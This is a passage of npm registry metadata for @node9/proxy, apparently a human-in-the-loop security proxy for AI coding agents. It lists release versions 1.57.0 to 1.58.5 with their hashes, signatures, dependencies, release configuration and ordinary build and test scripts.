APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.57.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":4593414},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"1980163d53a2283ac1e962fbf4d0a7754dd28fff","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.57.0_1783281703083_0.3225840410480343","host":"s3://npm-registry-packages-npm-production"}},"1.58.0":{"name":"@node9/proxy","version":"1.58.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.58.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"b1c38fba55699fa5a585ca3ba7946466f384aa8b","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.58.0.tgz","fileCount":17,"integrity":"sha512-dMW6W3ychl++6fMOHoazKjjQ1FISKIPEqbcURYH3CYrr2O54//o+hPIKs1LfcQ/o9w7B4eprKDLc8HTYR6HTuQ==","signatures":[{"sig":"MEYCIQCy1TCtyM6tS3xazwGXu7qCfGvDKeBabJ1IyoIsnGJrlgIhAL4AOWgqHKr4oB+cttk5N9GMAVALw7jRtYAFz/4AJ/qX","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.58.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":6696388},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"2690a2c0716360a8666ebe71e0a8ad24f48778da","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.58.0_1783400465125_0.3855506730005409","host":"s3://npm-registry-packages-npm-production"}},"1.58.1":{"name":"@node9/proxy","version":"1.58.1","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.58.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"faaf4570a9585294580c4c0144976f0eefebfbe8","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.58.1.tgz","fileCount":17,"integrity":"sha512-8Nec5rt3MqXixLF7CCIBwWQGVC9ClRTc0oXsriUazqdFiJyP/Za8N6lorWmRUtosVzR3x/x2LsIhotxZ4Gvrdw==","signatures":[{"sig":"MEUCIEu8WKDbqdMUu3K1JahYjGWhLiZsVfSQ00SaCA2QWUooAiEAraIBxt5G7i2VSsBe5L3a4lQtrueG2gnkWyq5MOQqND4=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.58.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":6697138},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"3ff9c3c5b2ec87bbc807bb6f7bfd9a2b2433293d","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.58.1_1783405680074_0.544515542536812","host":"s3://npm-registry-packages-npm-production"}},"1.58.2":{"name":"@node9/proxy","version":"1.58.2","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.58.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"e106734041e59b23886b2950e281185a68e743a9","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.58.2.tgz","fileCount":17,"integrity":"sha512-9D3RPtqcqnSch+FFhZk6fg4V0orKRdQz/eQFJmh2GaFUkSb45uqdca086n3zRtiDid4sc6gIC23rIVEb1O9oeg==","signatures":[{"sig":"MEUCIFWYXj2mHusbllEqf2Y0A8KM8DM79wswGJIFMyBABvF9AiEAhM3MyrmsZufc1izFhQYecPJ3zthbwntVrYrVjx94jeQ=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.58.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":6700888},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"90953afac3479b259aaf790f58d9d34ffe5447ba","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.58.2_1783418761946_0.6801961454132572","host":"s3://npm-registry-packages-npm-production"}},"1.58.3":{"name":"@node9/proxy","version":"1.58.3","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.58.3","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"e0a2926a7ac50058e73fbf5a34a9551ce917c7c2","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.58.3.tgz","fileCount":17,"integrity":"sha512-jBXdVGr4+weqt0dpJaoNns2/pg5O8d0FqAIy4mchGlKw435ZhWK6n+7GRNlxUcMJW1Fs9LNFPR2D0ipZpg9oaw==","signatures":[{"sig":"MEUCIBFQq20lwzya9dZUL1y6ir3sAAf72Z/6KtRYdHG4Q11oAiEAog8clCpOz8Dyq3TQuDt/0dziFm4CWVLgDMGFzY7uvaQ=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.58.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":6702895},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"b5b859a7f2e196d399fd7638d1a2f6636edc559e","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.58.3_1783422519199_0.10965010445222556","host":"s3://npm-registry-packages-npm-production"}},"1.58.4":{"name":"@node9/proxy","version":"1.58.4","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.58.4","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"fcd48d5179150ba987a7293e526b5c9f3553b222","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.58.4.tgz","fileCount":17,"integrity":"sha512-Wsu9mHYgbFMrPsrEMAQlzt0WwJLsB0HbOvq192SnGZ6W0H9HsRr+7ZPZ4PAlba8MYPmLMZ/0y2VsrNOJXtY1hQ==","signatures":[{"sig":"MEQCIG+onHYR/0VVuMHwSurSzIsjEqFsej0+9JWY9gjn8NMKAiBPXZWA7cj4MHZep8FbLJMcUgG5uhjUmFzsxIH8kIdNKQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.58.4","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":6703895},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"592ed749aec37e2064578c424919578af3e7092a","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.58.4_1783440459312_0.42167340778462936","host":"s3://npm-registry-packages-npm-production"}},"1.58.5":{"name":"@node9/proxy","version":"1.58.5","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.58.5","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"bdb86bf0225c864555f5bec8b383d0ed1d5a4d96","tarba